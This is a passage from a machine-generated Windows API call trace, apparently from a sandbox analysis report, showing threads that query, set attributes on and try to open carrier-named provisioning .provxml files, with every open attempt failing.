dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.893] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.893] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02a60) returned 1 [0181.893] RtlExitUserThread (Status=0x0) Thread: id = 3163 os_tid = 0x10a8 [0181.894] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\562__connections_cellular_orange (tunisia)_i3$(__mvid)@wap.provxml")) returned 0x20 [0181.894] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.894] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\562__connections_cellular_orange (tunisia)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.895] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.895] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f027b0) returned 1 [0181.895] RtlExitUserThread (Status=0x0) Thread: id = 3164 os_tid = 0x10ac [0181.896] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\563__connections_cellular_orange (tunisia)_i4$(__mvid)@wap.provxml")) returned 0x20 [0181.896] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.896] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\563__connections_cellular_orange (tunisia)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.896] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.896] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02bb8) returned 1 [0181.896] RtlExitUserThread (Status=0x0) Thread: id = 3165 os_tid = 0x10b0 [0181.897] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\564__connections_cellular_orange (tunisia)_i5$(__mvid)@wap.provxml")) returned 0x20 [0181.898] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.898] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\564__connections_cellular_orange (tunisia)_i5$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.898] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.898] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02d10) returned 1 [0181.898] RtlExitUserThread (Status=0x0) Thread: id = 3166 os_tid = 0x10b4 [0181.899] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\565__connections_cellular_orange (uganda)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.899] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.899] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\565__connections_cellular_orange (uganda)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.899] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.900] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057178) returned 1 [0181.900] RtlExitUserThread (Status=0x0) Thread: id = 3167 os_tid = 0x10b8 [0181.901] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\566__connections_cellular_cubic telecom (liechtenstein)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.901] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.901] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\566__connections_cellular_cubic telecom (liechtenstein)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.901] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.901] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2e00) returned 1 [0181.901] RtlExitUserThread (Status=0x0) Thread: id = 3168 os_tid = 0x10bc [0181.902] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\567__connections_cellular_cubic telecom (liechtenstein)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.903] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.903] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\567__connections_cellular_cubic telecom (liechtenstein)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.903] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.903] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0e08) returned 1 [0181.903] RtlExitUserThread (Status=0x0) Thread: id = 3169 os_tid = 0x10c0 [0181.904] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\568__connections_cellular_digi.mobil (romania)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.905] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.905] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\568__connections_cellular_digi.mobil (romania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.905] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.905] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02fc0) returned 1 [0181.905] RtlExitUserThread (Status=0x0) Thread: id = 3170 os_tid = 0x10c4 [0181.906] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\569__connections_cellular_telekom.ro (romania)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.906] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.907] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\569__connections_cellular_telekom.ro (romania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.907] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.907] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f03118) returned 1 [0181.907] RtlExitUserThread (Status=0x0) Thread: id = 3171 os_tid = 0x10c8 [0181.908] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\56__connections_cellular_sercomtel (brazil)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.908] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.908] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\56__connections_cellular_sercomtel (brazil)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.908] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.908] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8fb50) returned 1 [0181.909] RtlExitUserThread (Status=0x0) Thread: id = 3172 os_tid = 0x10cc [0181.910] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\570__connections_cellular_telekom.ro (romania)_i1$(__mvid)@wap.provxml")) returned 0x20 [0181.910] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.910] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\570__connections_cellular_telekom.ro (romania)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.910] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.910] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91380) returned 1 [0181.910] RtlExitUserThread (Status=0x0) Thread: id = 3173 os_tid = 0x10d0 [0181.912] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\571__connections_cellular_telekom.ro (romania)_i2$(__mvid)@wap.provxml")) returned 0x20 [0181.912] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.912] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\571__connections_cellular_telekom.ro (romania)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.912] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.912] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91630) returned 1 [0181.912] RtlExitUserThread (Status=0x0) Thread: id = 3174 os_tid = 0x10d4 [0182.004] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\572__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.004] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.005] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\572__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.005] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.005] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99ef8) returned 1 [0182.005] RtlExitUserThread (Status=0x0) Thread: id = 3175 os_tid = 0x10d8 [0182.091] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\573__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0182.091] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0182.092] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\573__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.092] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0182.092] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30546f8) returned 1 [0182.092] RtlExitUserThread (Status=0x0) Thread: id = 3176 os_tid = 0x10dc [0182.093] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\574__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.094] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.094] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\574__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.094] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.094] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9a040) returned 1 [0182.094] RtlExitUserThread (Status=0x0) Thread: id = 3177 os_tid = 0x10e0 [0182.095] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\575__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0182.095] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0182.096] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\575__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.096] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0182.096] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30550b8) returned 1 [0182.096] RtlExitUserThread (Status=0x0) Thread: id = 3178 os_tid = 0x10e8 [0182.097] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\576__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) 